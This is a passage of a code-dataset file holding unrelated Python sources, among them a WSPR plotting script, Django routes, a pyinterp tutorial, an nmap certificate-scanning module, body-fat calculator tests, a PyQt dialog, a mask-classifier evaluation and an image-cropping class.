y='snr')\n\n# fig = plt.figure(figsize=(24,12))\n\n# ax = fig.add_subplot(111, projection='3d')\n\n# if len(df630m) > 0:\n# ax.scatter(df630m.dates, df630.time, df630m.snr, marker='v', label='630m')\n \n# if len(df160m) > 0:\n# ax.scatter(df160m.dates, df160.time, df160m.snr, marker='^', label='160m')\n \n# if len(df80m) > 0:\n# ax.scatter(df80m.dates, df80m.time, df80m.snr, marker='p', label='160m')\n \n# if len(df40m) > 0:\n# ax.scatter(df40m.dates, df40m.time, df40m.snr, marker='*', label='40m')\n \n# if len(df20m) > 0:\n# ax.scatter(df20m.dates, df20m.time, df20m.snr, marker='x', label='20m')\n\n# if len(df15m) > 0:\n# ax.scatter(df15m.dates, df15m.time, df15m.snr, marker='s', label='20m')\n\n# if len(df10m) > 0:\n# ax.scatter(df10m.dates, df10m.time, df10m.snr, marker='P', label='20m')\n\n# ax.set_title('WSPR Rx (%s) from grid: %sxx, Dmin=%d, Dmax=%d, Time(Z)=%d-%d, Freq=%s, Ant=%s' % (callsign,searchgrid,dmin,dmax,tmin,tmax,'All',antenna))\n# ax.set_xlabel('Date')\n# ax.set_ylabel('Time')\n# ax.set_zlabel('SNR')\n\n# plt.legend()\n\nfig,ax=plt.subplots(2, figsize=(24,12))\n\nif len(df630m) > 0:\n ax[0].scatter(df630m.date_time, df630m.snr, marker='v', label='630m')\n ax[1].scatter(df630m.time, df630m.snr, marker='v', label='630m')\n\nif len(df160m) > 0:\n ax[0].scatter(df160m.date_time, df160m.snr, marker='^', label='160m')\n ax[1].scatter(df160m.time, df160m.snr, marker='^', label='160m')\n\nif len(df80m) > 0:\n ax[0].scatter(df80m.date_time, df80m.snr, marker='p', label='80m')\n ax[1].scatter(df80m.time, df80m.snr, marker='p', label='80m')\n\nif len(df40m) > 0:\n ax[0].scatter(df40m.date_time, df40m.snr, marker='*', label='40m')\n ax[1].scatter(df40m.time, df40m.snr, marker='*', label='40m')\n \nif len(df20m) > 0:\n ax[0].scatter(df20m.date_time, df20m.snr, marker='x', label='20m')\n ax[1].scatter(df20m.time, df20m.snr, marker='x', label='20m')\n \nif len(df15m) > 0:\n ax[0].scatter(df15m.date_time, df15m.snr, marker='s', label='15m')\n ax[1].scatter(df15m.time, df15m.snr, marker='s', label='15m')\n \nif len(df10m) > 0:\n ax[0].scatter(df10m.date_time, df10m.snr, marker='P', label='10m')\n ax[1].scatter(df10m.time, df10m.snr, marker='P', label='10m')\n\nax[0].grid(linestyle='-', linewidth=0.5)\nax[1].grid(linestyle='-', linewidth=0.5)\nax[0].legend()\nax[1].legend()\n\nax[0].set_title('WSPR Rx (%s) from grid %sxx: Dmin=%d, Dmax=%d, Time(Z)=%d-%d, Freq=%s, Ant=%s' % (callsign,searchgrid,dmin,dmax,tmin,tmax,'All',antenna))\nax[0].set_xlabel('Date')\nax[1].set_xlabel('Time')\nax[0].set_ylabel('SNR')\nax[1].set_ylabel('SNR')\n\n# plt.xticks(rotation=90)\n\n# ax.df20m.plot(kind='scatter', x='date_time', y='snr')\n\n# plt.autofmt_xdate()\n \n# plt.tight_layout()\n\n# plt.subplots_adjust(bottom=0.25)\n\n# ax.fmt_xdata = DateFormatter('%y%m%d%H%M')\n\n\n\n\n\n\n","sub_path":"wsprRx_by_freq_and_grid.py","file_name":"wsprRx_by_freq_and_grid.py","file_ext":"py","file_size_in_byte":6278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"491771830","text":"#!/usr/bin/env python\nimport glob\n#import numpy as np\nimport lcatr.schema\n\nresults = []\n\ncdir = \"/home/homer/lsst/lcatr/share/T03_flat/v0\";\n\nfo = open(\"%s/status.out\" % (cdir), \"r\");\ntsstat = fo.readline();\ntsvolt = fo.readline();\ntscurr = fo.readline();\ntspres = fo.readline();\ntstemp = fo.readline();\nfo.close();\n\nresults.append(lcatr.schema.valid(lcatr.schema.get('T03_flat'),stat=tsstat,volt=tsvolt,curr=tscurr,pres=tspres,temp=tstemp))\n\nfiles = glob.glob('%s/ArchonImage*.fits' % (cdir))\n\ndata_products = [lcatr.schema.fileref.make(item) for item in files]\nresults.extend(data_products)\n\nlcatr.schema.write_file(results)\nlcatr.schema.validate_file()\n \n","sub_path":"TS3_JH_acq/jobs/archive/T03_flat_BNL/v0/validator_T03_flat.py","file_name":"validator_T03_flat.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"118684813","text":"from django.contrib import admin\nfrom django.urls import path,include,re_path\nfrom health_adv_app import views\n\napp_name = 'health_adv_app'\n\nurlpatterns = [\n path('',views.index,name='index'),\n path('about/',views.about,name='about'),\n path('contact/',views.contact,name='contact'),\n path('user_home/',views.user_home,name='user_home'),\n path('create_report/',views.CreateReport.as_view(),name='create_report'),\n]\n","sub_path":"HealthAdvProject/health_adv_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"227394755","text":"\"\"\"\n***************************\nCreate interpolator objects\n***************************\n\nIn this example, we are going to build the basic objects allowing to carry out\ninterpolations.\n\nBefore starting, we will examine the properties of a Cartesian grid and the\ndifferent classes associated with these objects.\n\n\nStep-by-step creation of grids\n##############################\n\"\"\"\nimport timeit\n\nimport numpy\nimport pandas\n\nimport pyinterp\nimport pyinterp.backends.xarray\nimport pyinterp.tests\n\nds = pyinterp.tests.load_grid3d()\nlon, lat, time, tcw = (\n ds['longitude'].values,\n ds['latitude'].values,\n ds['time'].values,\n ds['tcw'].values,\n)\n\n# %%\n# This regular 3-dimensional grid is associated with three axes:\n#\n# * longitudes,\n# * latitudes and\n# * time.\n#\n# To perform the calculations quickly, we will build three objects that will be\n# used by the interpolator to search for the data to be used. Let's start with\n# the y-axis representing the latitude axis.\ny_axis = pyinterp.Axis(lat)\ny_axis\n\n# %%\n# For example, you can search for the closest point to 0.12 degrees north\n# latitude.\ny_axis.find_index([0.12])\n\n# %%\n# Then, the x-axis representing the longitudinal axis. In this case, the axis is\n# an axis representing a 360 degree circle.\nx_axis = pyinterp.Axis(lon, is_circle=True)\nx_axis\n\n# %%\n# The values -180 and 180 degrees represent the same point on the axis.\nx_axis.find_index([-180]) == x_axis.find_index([180])\n\n# %%\n# Finally, we create the time axis\nt_axis = pyinterp.TemporalAxis(time)\nt_axis\n\n# %%\n# As these objects must communicate in C++ memory space, we use objects specific\n# to the library much faster than other data models and manage the axes\n# representing a circle. For example if we compare these objects to Pandas\n# indexes:\nvalues = lon[10:20] + 1 / 3\nindex = pandas.Index(lon)\nprint('pandas.Index: %f' % timeit.timeit(\n 'index.searchsorted(values)', globals=dict(index=index, values=values)))\nprint('pyinterp.Axis %f' % timeit.timeit(\n 'x_axis.find_index(values)', globals=dict(x_axis=x_axis, values=values)))\n\n# %%\n# This time axis is also very efficient compared to the pandas index.\nindex = pandas.Index(time)\nvalues = time + numpy.timedelta64(1, 'ns')\nprint('pandas.Index: %f' % timeit.timeit(\n 'index.searchsorted(values)', globals=dict(index=index, values=values)))\nprint('pyinterp.Axis %f' % timeit.timeit(\n 't_axis.find_index(values)', globals=dict(t_axis=t_axis, values=values)))\n\n# %%\n# Before constructing the tensor for pyinterp, we must begin to organize the\n# tensor data so that it is properly stored in memory for pyinterp.\n\n# %%\n# * The shape of the tensor must be (len(x_axis), len(y_axis), len(t_axis))\ntcw = tcw.T\n# %%\n# .. warning::\n#\n# If the array handled is a masked array, the masked values must be set to\n# nan.\n#\n\n# %%\n# Now we can build the object handling the regular 3-dimensional grid.\n#\n# .. note::\n# Grid data are not copied, the Grid3D class just keeps a reference on the\n# handled array. Axis data are copied for non-uniform axes, and only examined\n# for regular axes.\ngrid_3d = pyinterp.Grid3D(x_axis, y_axis, t_axis, tcw)\ngrid_3d\n\n# %%\n# xarray backend\n# ##############\n#\n# The construction of these objects manipulating the :py:class:`regular grids\n# ` can be done more easily\n# using the `xarray `_ library and `CF\n# `_ convention usually found in NetCDF files.\ninterpolator = pyinterp.backends.xarray.RegularGridInterpolator(\n pyinterp.tests.load_grid3d().tcw)\ninterpolator.grid\n","sub_path":"examples/ex_objects.py","file_name":"ex_objects.py","file_ext":"py","file_size_in_byte":3600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"407868896","text":"import os\nimport sys\n\nfrom pydrake.common import set_log_level\nfrom pydrake.geometry import Meshcat\nfrom pyngrok import ngrok\n\ndef StartMeshcat():\n \"\"\"\n A wrapper around the Meshcat constructor that supports Deepnote and Google Colab via ngrok when necessary.\n \"\"\"\n prev_log_level = set_log_level(\"warn\")\n use_ngrok = False\n if (\"DEEPNOTE_PROJECT_ID\" in os.environ):\n # Deepnote exposes port 8080 (only). If we need multiple meshcats, then we # fall back to ngrok.\n try:\n meshcat = Meshcat(8080)\n except:\n use_ngrok = True\n else:\n meshcat.set_web_url(\n f'https://{os.environ[\"DEEPNOTE_PROJECT_ID\"]}.deepnoteproject.com')\n set_log_level(prev_log_level)\n print(f\"Meshcat is now available at {meshcat.web_url()}\");\n return meshcat\n\n if 'google.colab' in sys.modules:\n use_ngrok = True\n\n meshcat = Meshcat()\n if use_ngrok:\n http_tunnel = ngrok.connect(meshcat.port(), bind_tls=False)\n meshcat.set_web_url(http_tunnel.publich_url());\n\n set_log_level(prev_log_level)\n print(f\"Meshcat is now available at {meshcat.web_url()}\");\n return meshcat\n","sub_path":"manipulation/meshcat_cpp_utils.py","file_name":"meshcat_cpp_utils.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"41546888","text":"#!/usr/bin/python\n\nfrom database.repositories import PortRepository\nfrom included.ModuleTemplate import ToolTemplate\nimport subprocess\nfrom included.utilities import which\nimport shlex\nimport os\nimport pdb\nimport xmltodict\nfrom multiprocessing import Pool as ThreadPool\nimport glob\nfrom included.utilities.color_display import display, display_error\n\nclass Module(ToolTemplate):\n '''\n Runs nmap on all web hosts to pull certs and add them to the database\n '''\n name = \"NmapCertScan\"\n binary_name = \"nmap\"\n\n def __init__(self, db):\n self.db = db\n self.Port = PortRepository(db, self.name)\n\n def set_options(self):\n super(Module, self).set_options()\n\n self.options.add_argument('-s', '--rescan', help=\"Rescan domains that have already been scanned\", action=\"store_true\")\n \n def get_targets(self, args):\n\n targets = []\n if args.rescan:\n services = self.Port.all(service_name='https')\n else:\n services = self.Port.all(tool=self.name, service_name='https')\n \n for s in services:\n if s.ip_address.in_scope:\n port = s.port_number\n targets.append({'port':port, 'target':s.ip_address.ip_address, 'service_id':s.id})\n for d in s.ip_address.domains:\n targets.append({'port':port, 'target':d.domain, 'service_id':s.id})\n \n if args.output_path[0] == \"/\":\n output_path = os.path.join(self.base_config['PROJECT']['base_path'], args.output_path[1:])\n else:\n output_path = os.path.join(self.base_config['PROJECT']['base_path'], args.output_path)\n\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n\n\n\n for t in targets:\n file_path = os.path.join(output_path, \"%s_%s-ssl.xml\" % (t['target'], port))\n\n t['output'] = file_path\n # pdb.set_trace()\n return targets\n\n def build_cmd(self, args):\n\n cmd = self.binary + \" -p {port} --script=ssl-cert -oX {output} {target} \"\n \n if args.tool_args:\n cmd += args.tool_args\n\n return cmd\n\n def process_output(self, cmds):\n\n for data in cmds:\n\n try:\n xmldata = xmltodict.parse(open(data['output']).read())\n \n cert = xmldata['nmaprun']['host']['ports']['port']['script']['@output']\n\n if cert:\n svc = self.Port.all(id=data['service_id'])[0]\n if not svc.meta.get(self.name, False):\n svc.meta[self.name] = {}\n svc.meta[self.name][data['target']] = cert\n\n svc.update()\n\n except:\n display_error(\"File not valid: {}\".format(data['output']))\n\n self.Port.commit()\n","sub_path":"included/modules/NmapCertScan.py","file_name":"NmapCertScan.py","file_ext":"py","file_size_in_byte":2845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"188498441","text":"import csv\n\ndef save_csv1():\n with open('data.csv', 'w') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(['id', 'name', 'age'])\n writer.writerow(['10001', 'Mike', 20])\n writer.writerow(['10002', 'Bob', 22])\n writer.writerow(['10003', 'Jordan', 21])\n \n# 修改间隔\ndef save_csv2():\n with open('data.csv', 'w') as csvfile:\n writer = csv.writer(csvfile, delimiter='\\t')\n writer.writerow(['id', 'name', 'age'])\n writer.writerow(['10001', 'Mike', 20])\n writer.writerow(['10002', 'Bob', 22])\n writer.writerow(['10003', 'Jordan', 21])\n\n# 写入多行\ndef save_csv3():\n with open('data.csv', 'w') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(['id', 'name', 'age'])\n writer.writerows([['10001', 'Mike', 20], ['10002', 'Bob', 22], ['10003', 'Jordan', 21]])\n\n# 字典写入\ndef save_csv4():\n with open('data.csv', 'w') as csvfile:\n fieldnames = ['id', 'name', 'age']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n writer.writerow({'id': '10001', 'name': 'Mike', 'age': 20})\n writer.writerow({'id': '10002', 'name': 'Bob', 'age': 22})\n writer.writerow({'id': '10003', 'name': 'Jordan', 'age': 21})\n\n# 写入中文\ndef save_csv5():\n with open('data.csv', 'a', encoding='utf-8') as csvfile:\n fieldnames = ['id', 'name', 'age']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writerow({'id': '10005', 'name': '王伟', 'age': 22})\n\ndef load_csv():\n with open('data.csv', 'r', encoding='utf-8') as csvfile:\n reader = csv.reader(csvfile)\n for row in reader:\n print(row)\n\ndef load_csv_by_pandas():\n import pandas as pd\n df = pd.read_csv('data.csv')\n print(df)\n\ndef save_csv_by_pd():\n import pandas as pd\n head = [\"表头1\" , \"表头2\" , \"表头3\"]\n l = [[1, 2, 3],[4 ,5 ,6],[8, 7, 9]]\n df = pd.DataFrame (l , columns = head)\n df.to_csv(\"testfoo.csv\" , encoding = \"utf-8\")\n df2 = pd.read_csv(\"testfoo.csv\" , encoding = \"utf-8\")\n print (df2)\n\nif __name__ == \"__main__\":\n save_csv_by_pd()\n","sub_path":"Reading_Notes/python3网络爬虫开发实战/5.3save_csv.py","file_name":"5.3save_csv.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"609695176","text":"import unittest\nfrom fitness_tracker.calculators.body_fat.body_fat_formulas import *\nfrom fitness_tracker.calculators.body_fat.body_fat_calculator import BodyFatCalculator\n\nclass TestFormulas(unittest.TestCase):\n def test_male_navy_USC(self):\n self.assertEqual(round(male_navy_USC(37.5, 19.5, 70.5), 1), 15.3)\n\n def test_male_navy_SI(self):\n self.assertEqual(round(male_navy_SI(96, 50, 178), 1), 15.7)\n\n def test_female_navy_USC(self):\n self.assertEqual(round(female_navy_USC(37.5, 19.5, 70.5, 34.5), 1), 21.8)\n\n def test_female_navy_SI(self):\n self.assertEqual(round(female_navy_SI(96, 50, 178, 92), 1), 24.1)\n\n def test_male_BMI_USC(self):\n self.assertEqual(round(male_BMI_USC(152, 70.5, 25), 1), 15.3)\n\n def test_male_BMI_SI(self):\n self.assertEqual(round(male_BMI_SI(70, 178, 25), 1), 16.1)\n\n def test_female_BMI_USC(self):\n self.assertEqual(round(female_BMI_USC(152, 70.5, 25), 1), 26.1)\n\n def test_female_BMI_SI(self):\n self.assertEqual(round(female_BMI_SI(70, 178, 25), 1), 26.9)\n\nclass TestCalculator(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.maxDiff = None\n \n cls.age = 25\n \n cls.weight_USC = 152\n cls.height_USC = 70.5\n cls.neck_USC = 19.5\n cls.waist_USC = 37.5\n cls.hip_USC = 34.5\n \n cls.weight_SI = 70\n cls.height_SI = 178\n cls.neck_SI = 50\n cls.waist_SI = 96\n cls.hip_SI = 92\n \n cls.correct_results_male_USC = {'Body Fat Navy': 15.3, 'Body Fat BMI': 15.3,\n 'Fat Mass': 23.2, 'Lean Body Mass': 128.8,\n 'Ideal Body Fat': '10.5%', 'Body Fat Category': 'Fitness',\n 'Body Fat To Lose To Reach Ideal': 7.3}\n cls.correct_results_female_USC = {'Body Fat Navy': 21.8, 'Body Fat BMI': 26.1,\n 'Fat Mass': 33.2, 'Lean Body Mass': 118.8,\n 'Ideal Body Fat': '18.4%', 'Body Fat Category': 'Fitness',\n 'Body Fat To Lose To Reach Ideal': 5.2} \n cls.correct_results_male_SI = {'Body Fat Navy': 15.7, 'Body Fat BMI': 16.1,\n 'Fat Mass': 11.0, 'Lean Body Mass': 59.0,\n 'Ideal Body Fat': '10.5%', 'Body Fat Category': 'Fitness',\n 'Body Fat To Lose To Reach Ideal': 3.6}\n cls.correct_results_female_SI = {'Body Fat Navy': 24.1, 'Body Fat BMI': 26.9,\n 'Fat Mass': 16.9, 'Lean Body Mass': 53.1,\n 'Ideal Body Fat': '18.4%', 'Body Fat Category': 'Fitness',\n 'Body Fat To Lose To Reach Ideal': 4.0}\n \n def test_male_USC(self):\n calc = BodyFatCalculator(\"male\", self.age, self.weight_USC, self.height_USC,\n self.neck_USC, self.waist_USC, \"imperial\", self.hip_USC)\n results = calc.get_results()\n self.assertDictEqual(results, self.correct_results_male_USC)\n \n def test_female_USC(self):\n calc = BodyFatCalculator(\"female\", self.age, self.weight_USC, self.height_USC,\n self.neck_USC, self.waist_USC, \"imperial\", self.hip_USC)\n results = calc.get_results()\n self.assertDictEqual(results, self.correct_results_female_USC)\n\n def test_male_SI(self):\n calc = BodyFatCalculator(\"male\", self.age, self.weight_SI, self.height_SI,\n self.neck_SI, self.waist_SI, \"metric\", self.hip_SI)\n results = calc.get_results()\n self.assertDictEqual(results, self.correct_results_male_SI)\n\n def test_female_SI(self):\n calc = BodyFatCalculator(\"female\", self.age, self.weight_SI, self.height_SI,\n self.neck_SI, self.waist_SI, \"metric\", self.hip_SI)\n results = calc.get_results()\n self.assertDictEqual(results, self.correct_results_female_SI)\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/test_body_fat_calculator.py","file_name":"test_body_fat_calculator.py","file_ext":"py","file_size_in_byte":3939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"598158618","text":"\"\"\"Application About Dialog\"\"\"\nimport os\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QPixmap\nfrom PyQt5.QtWidgets import (\n QDialog,\n QDialogButtonBox,\n QLabel,\n QVBoxLayout,\n)\n\nimport app_info\n\n\nclass AboutDialog(QDialog):\n \"\"\"AboutDialog\"\"\"\n def __init__(self):\n super().__init__()\n\n q_btn = QDialogButtonBox.Ok # No cancel\n self.button_box = QDialogButtonBox(q_btn)\n self.button_box.accepted.connect(self.accept)\n\n self.setWindowTitle('About')\n\n layout = QVBoxLayout()\n\n title = QLabel(app_info.TITLE)\n font = title.font()\n font.setPointSize(20)\n title.setFont(font)\n\n layout.addWidget(title)\n\n logo = QLabel()\n logo.setPixmap(QPixmap(os.path.join(\"icons\", \"vibrator-256.png\")))\n layout.addWidget(logo)\n\n layout.addWidget(QLabel(\"Version: \" + app_info.VERSION))\n layout.addWidget(QLabel(app_info.AUTHOR))\n layout.addWidget(QLabel(app_info.AUTHOR_EMAIL))\n link_label = QLabel('' + app_info.AUTHOR_WEB + '')\n link_label.setOpenExternalLinks(True)\n layout.addWidget(link_label)\n layout.addWidget(QLabel(app_info.APP_DATE))\n\n for i in range(0, layout.count()):\n layout.itemAt(i).setAlignment(Qt.AlignHCenter)\n\n layout.addWidget(self.button_box)\n\n self.setLayout(layout)\n","sub_path":"AboutDialog.py","file_name":"AboutDialog.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"328337504","text":"\"\"\"An evaluation module that retrieves test accuracies for quantized 2NN model.\nTest Folder = for_evaluation(test_set)\nRun evaluation model:\npython3 Evaluation_2NN_GPU.py \\\n\"\"\"\n\n# Import necessary modules/packages\nimport argparse\nimport collections\nimport common\nimport cv2\nimport numpy as np\nimport os\nfrom PIL import Image\nimport re\n#import pyttsx3\nimport tflite_runtime.interpreter as tflite\nimport xml.etree.ElementTree as ET\nimport shutil\nimport time\nimport random\n\n#shutil.rmtree(\"./mAP/groundtruths\")\n#shutil.rmtree(\"./mAP/2NN_CPU_8bit_detections\")\n#shutil.rmtree(\"./mAP/2NN_CPU_8bit_detections_fromgt\")\n#os.makedirs(\"./mAP/groundtruths\")\n#os.makedirs(\"./mAP/2NN_CPU_8bit_detections\")\n#os.makedirs(\"./mAP/2NN_CPU_8bit_detections_fromgt\")\n\nObject = collections.namedtuple('Object', ['id', 'score', 'bbox'])\n\ndef load_labels(path):\n p = re.compile(r'\\s*(\\d+)(.+)')\n with open(path, 'r', encoding='utf-8') as f:\n lines = (p.match(line).groups() for line in f.readlines())\n return {int(num): text.strip() for num, text in lines}\n\nclass BBox(collections.namedtuple('BBox', ['xmin', 'ymin', 'xmax', 'ymax'])):\n \"\"\"Bounding box.\n Represents a rectangle which sides are either vertical or horizontal, parallel\n to the x or y axis.\n \"\"\"\n __slots__ = ()\n\ndef get_output(interpreter, image_scale=1.0):\n \"\"\"Returns list of detected objects.\"\"\"\n boxes = common.output_tensor(interpreter, 0)\n class_ids = common.output_tensor(interpreter, 1)\n scores = common.output_tensor(interpreter, 2)\n count = int(common.output_tensor(interpreter, 3))\n\n def make(i):\n ymin, xmin, ymax, xmax = boxes[i]\n return Object(\n id=int(class_ids[i]),\n score=scores[i],\n bbox=BBox(xmin=np.maximum(0.0, xmin),\n ymin=np.maximum(0.0, ymin),\n xmax=np.minimum(1.0, xmax),\n ymax=np.minimum(1.0, ymax)))\n\n return [make(i) for i in range(len(scores))] #if scores[i] >= score_threshold]\n\n# 박스 친거만 이미지에서 크롭하기\ndef append_objs_to_img(cv2_im, objs, labels):\n height, width, channels = cv2_im.shape\n for obj in objs:\n x0, y0, x1, y1 = list(obj.bbox)\n x0, y0, x1, y1 = int(x0*width), int(y0*height), int(x1*width), int(y1*height)\n percent = int(100 * obj.score)\n label = '{}% {}'.format(percent, labels.get(obj.id, obj.id))\n\n cv2_im = cv2.rectangle(cv2_im, (x0, y0), (x1, y1), (0, 255, 0), 2)\n cv2_im = cv2.putText(cv2_im, label, (x0, y0+30),\n cv2.FONT_HERSHEY_SIMPLEX, 1.0, (255, 0, 0), 2)\n return cv2_im\n\n# This part will run when module is invoked\ndef main():\n #default_model_dir = './all_models'\n \n # Set face detection model\n # default_model = 'mobilenet_ssd_v2_face_quant_postprocess_edgetpu.tflite' # Coral ver\n # default_model = 'mobilenet_ssd_v2_face_quant_postprocess.tflite' # GPU ver\n default_model = './1NN/quantized/two_nn_nomask.tflite' # GPU ver\n default_labels = 'face_labels.txt' \n \n parser = argparse.ArgumentParser()\n parser.add_argument('--model', help='.tflite model path',\n default = default_model) \n \n # Set mask classification model\n default_model2 = 'mask_detector_quant.tflite' # GPU ver\n #default_model2 = 'mask_detector_quant_v2_edgetpu.tflite' #Coral ver\n parser.add_argument('--model2', help='.tflite model path',\n default=default_model2)\n \n parser.add_argument('--labels', help='label file path',\n default = default_labels)\n\n args = parser.parse_args()\n \n # Load 1NN\n #interpreter = tflite.Interpreter(model_path = args.model)\n #interpreter.allocate_tensors()\n \n # Load 2NN\n interpreter2 = tflite.Interpreter(model_path = args.model2)\n interpreter2.allocate_tensors()\n\n # Load labels\n labels = load_labels(args.labels)\n \n # Load Test Data - ground truth, image\n test_dir = 'for_evaluation(test_set)/xml'\n\n #test_img_dir = 'for_evaluation(2NN)/wo_mask'\n test_img_dir = 'for_evaluation(2NN)'\n #test_img_dir = 'temp'\n filenames = os.listdir(test_img_dir)\n full_filenames = []\n\n\n for folder in filenames:\n filenames2 = os.listdir(os.path.join(test_img_dir, folder))\n full_folder = os.path.join(test_img_dir, folder) \n for filename in filenames2:\n full_filename = os.path.join(full_folder, filename)\n full_filenames.append(full_filename)\n\n #for filename in filenames:\n # full_filename = os.path.join(test_img_dir, filename)\n # full_filenames.append(full_filename)\n \n total_facedetection_time = 0\n face_detection_count = 0\n\n total_maskdetection_time = 0\n mask_detection_count = 0\n\n correct_mask_classification_count = 0\n\n random.shuffle(full_filenames)\n\n for filename in full_filenames:\n print(f'---------------------------', filename, '---------------------------')\n # get filenum\n filenum = filename[-9:-4]\n\n image_path = filename\n\n # Load Image, get height and width\n cv2_im = cv2.imread(image_path,1) \n height, width, channels = cv2_im.shape\n\n\n # Evaluation of object detection\n cv2_im_rgb = cv2.cvtColor(cv2_im, cv2.COLOR_BGR2RGB) \n pil_im = Image.fromarray(cv2_im_rgb)\n \n common.set_input2(interpreter2, pil_im)\n\n\n # Latency calculation\n mask_start_time = time.time()\n interpreter2.invoke()\n mask_end_time = time.time()\n \n output_data = common.output_tensor2(interpreter2)\n total_maskdetection_time += mask_end_time - mask_start_time\n mask_detection_count += 1\n\n mask = output_data[0]\n withoutMask = output_data[1]\n print('mask_percentage: ', mask, ', nomask_percentage: ', withoutMask) \n\n if mask > withoutMask:\n label = \"mask\"\n score = mask\n else:\n label = \"nomask\"\n score = withoutMask\n\n gt = ''\n\n filesplit = filename.split('/')\n print(filesplit[-2])\n if filesplit[-2] == 'w_mask':\n gt = 'mask'\n else:\n gt = 'nomask'\n\n\n if label == gt:\n print(\"Correct classification\")\n correct_mask_classification_count += 1\n else:\n print(\"NOT correct classification\")\n\n\n #if mask_detection_count > 100:\n # break\n\n print(\"Total mask detection count: \", mask_detection_count)\n print(\"Correct mask classification count: \", correct_mask_classification_count)\n print(\"Accuracy: \", correct_mask_classification_count/mask_detection_count)\n\n #avg_face = total_facedetection_time/face_detection_count\n #avg_mask = total_maskdetection_time/mask_detection_count\n #print('Average Face Detection Time: ', avg_face)\n #print('Average Mask Detection Time: ', avg_mask)\n #print('Average Total Inference Time: ', avg_face + avg_mask)\n\nif __name__ == '__main__':\n main()\n","sub_path":"Evaluation_2NN_CPU_8bit_val.py","file_name":"Evaluation_2NN_CPU_8bit_val.py","file_ext":"py","file_size_in_byte":7048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"194558085","text":"# -*- coding:utf-8 -*-\nimport os\nimport cv2\nimport numpy as np\nimport cv2.aruco as aruco\n\n\ndef drawpoint(points, image):\n for i, p in enumerate(points):\n p = [int(x) for x in p]\n cv2.circle(image, tuple(p), 100, (0, 0, 50 * i), -1)\n image = cv2.resize(image, (640, 640))\n cv2.imshow('im', image)\n if cv2.waitKey(0) & 0xff == 27:\n exit(0)\n\n\nclass Cutter:\n def __init__(self, batch_code, files, dist_dir):\n self.batch_code = batch_code # 茶叶批次码, 例如:19\n self.files = files # 茶叶图片文件地址(绝对路径)\n self.dist_dir = dist_dir # 裁剪后的图片存储文件夹地址\n self.cut_imageNum = 0\n\n def auto_cut(self):\n \"\"\"\n 自动裁剪\n :return:\n \"\"\"\n for img_path in self.files:\n image = cv2.imread(img_path)\n self.Cut_pic(image)\n\n def find_marker(self, frame): # 定位色卡标志点\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n aruco_dict = aruco.Dictionary_get(aruco.DICT_6X6_250)\n parameters = aruco.DetectorParameters_create()\n corners, ids, _ = aruco.detectMarkers(\n gray, aruco_dict, parameters=parameters)\n if len(corners) < 4:\n return []\n pair = zip(corners, ids) # 将角点与id 打包成字典格式\n return dict((marker_id[0], corner.squeeze().tolist())\n for corner, marker_id in pair)\n\n def get_corners(self, image):\n corners = self.find_marker(image)\n return corners\n\n def get_four_points(self, corners):\n point = corners\n tl = (int(point[0][2][0]), int(point[0][2][1]))\n tr = (int(point[1][3][0]), int(point[1][3][1]))\n bl = (int(point[2][1][0]), int(point[2][1][1]))\n br = (int(point[3][0][0]), int(point[3][0][1]))\n return tl, tr, bl, br\n\n def maximalRectangle(self, image):\n corners = self.get_corners(image)\n if len(corners) < 4:\n return image\n # if len(corners) == 4:\n points = self.get_four_points(corners)\n tl, tr, bl, br = points\n y = sorted((tl[1], tr[1], bl[1], br[1]))\n x = sorted((tl[0], tr[0], bl[0], br[0]))\n image = image[y[1]:y[2], x[1]:x[2]]\n return image\n\n def Get_edged(self, image):\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n blurred = cv2.GaussianBlur(gray, (5, 5), 0)\n _, edged = cv2.threshold(\n blurred, 0, 255, cv2.THRESH_OTSU + cv2.THRESH_BINARY_INV)\n return edged\n\n def judge(self, image, threshold):\n h, w = image.shape[0], image.shape[1]\n num = cv2.countNonZero(image)\n if num > threshold * w * h:\n return True\n return False\n\n def divide_img(self, image, Window_H, Window_W, strides, threshold):\n \"\"\"\n param:\n image: src image\n threshold: range(0, 1)\n if use more thinner image, please increase threshold's value\n if use more dense image, please decrease threshold's value\n \"\"\"\n edged_re = self.Get_edged(image)\n h = edged_re.shape[0]\n w = edged_re.shape[1]\n m = int(np.floor((h - Window_H) / strides)) + 1\n n = int(np.floor((w - Window_W) / strides)) + 1\n\n print('cutting......')\n for i in range(m):\n for j in range(n):\n sub = edged_re[strides * i:(strides * i) +\n Window_H, strides * j:(strides * j) + Window_W]\n if self.judge(sub, threshold):\n result = image[strides * i:(strides * i) +\n Window_H, strides * j:(strides * j) + Window_W]\n saved_path = os.path.join(\n self.dist_dir, '{}.jpg'.format(self.cut_imageNum))\n self.cut_imageNum += 1\n cv2.imwrite(saved_path, result)\n else:\n continue\n if self.cut_imageNum - 1 == 0:\n print(\"No pictures can be cut 